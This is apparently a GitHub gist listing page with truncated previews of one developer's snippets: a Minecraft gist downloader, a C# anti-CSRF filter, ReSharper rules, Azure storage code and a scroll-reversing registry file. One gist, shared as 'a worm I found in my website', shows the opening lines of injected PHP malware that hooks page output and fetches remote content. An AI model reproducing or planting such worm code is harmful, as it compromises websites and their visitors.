Skip to content

Instantly share code, notes, and snippets.

@jmaxxz
jmaxxz / Gist Access
Last active Dec 14, 2015
An example of how to access gist in a minecraft server running the computer mod. This allows the download of arbitrary code
View Gist Access
local function printUsage()
print( "Usages:" )
print( "gist <code> <filename>" )
end
local tArgs = { ... }
if #tArgs < 2 then
printUsage()
return
end
@jmaxxz
jmaxxz / CsrfPreventionFilter.cs
Last active Oct 7, 2015
A better anti CSRF mechanism than what is built into MVC asp.net
View CsrfPreventionFilter.cs
using System.Collections.Concurrent;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;
using System.Web.Helpers;
using System.Web.Http.Controllers;
using Newtonsoft.Json.Linq;
using IApiAuthorizationFilter = System.Web.Http.Filters.IAuthorizationFilter;
namespace System.Web.Mvc
@jmaxxz
jmaxxz / Program.cs
Created Apr 23, 2012
You can't handle the truth
View Program.cs
using System;
namespace Truth
{
class Program
{
static void Main(string[] args)
{
try
{
@jmaxxz
jmaxxz / gist:2040753
Created Mar 15, 2012
A worm I found in my website....
View gist:2040753
if(function_exists('ob_start')&&!isset($_SERVER['mr_no']))
{
$_SERVER['mr_no']=1;
if(!function_exists('mrobh'))
{
function get_tds_777($url)
{
$content="";$content=@trycurl_777($url);
if($content!==false)
return $content;
@jmaxxz
jmaxxz / QueryableResharperRules.xml
Created Jan 18, 2012
This rule set detects calls that are likely to cause runtime exceptions on IQueryable types. To add this rule set do: Resharper->Options->Custom Patterns ->Import
View QueryableResharperRules.xml
<CustomPatterns>
<Pattern Severity="ERROR" FormatAfterReplace="True" ShortenReferences="True" Language="CSHARP">
<Comment>FirstOrDefault not supported by all Queryable Types</Comment>
<ReplaceComment>Convert to supported version</ReplaceComment>
<ReplacePattern>$q$.Where($x$).FirstOrDefault()</ReplacePattern>
<SearchPattern>$q$.FirstOrDefault($x$)</SearchPattern>
<Params />
<Placeholders>
<ExpressionPlaceholder Name="q" ExpressionType="System.Linq.IQueryable" ExactType="False" />
<ArgumentPlaceholder Name="x" Minimal="1" Maximal="-1" />
@jmaxxz
jmaxxz / yeah.cs
Created Dec 8, 2011
This is how it should be...kinda
View yeah.cs
public partial class _Default : System.Web.UI.Page
{
private BlobContainer _Container = null;
protected void Page_Load(object sender, EventArgs e)
{
try
{
// Get the configuration from the cscfg file
StorageAccountInfo accountInfo = StorageAccountInfo.GetDefaultBlobStorageAccountFromConfiguration();
@jmaxxz
jmaxxz / WinLion.Reg
Created Jul 25, 2011
Makes Window's scroll work like Lion's scroll
View WinLion.Reg
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Desktop]
"WheelScrollChars"="-3"
"WheelScrollLines"="-3"
You can’t perform that action at this time.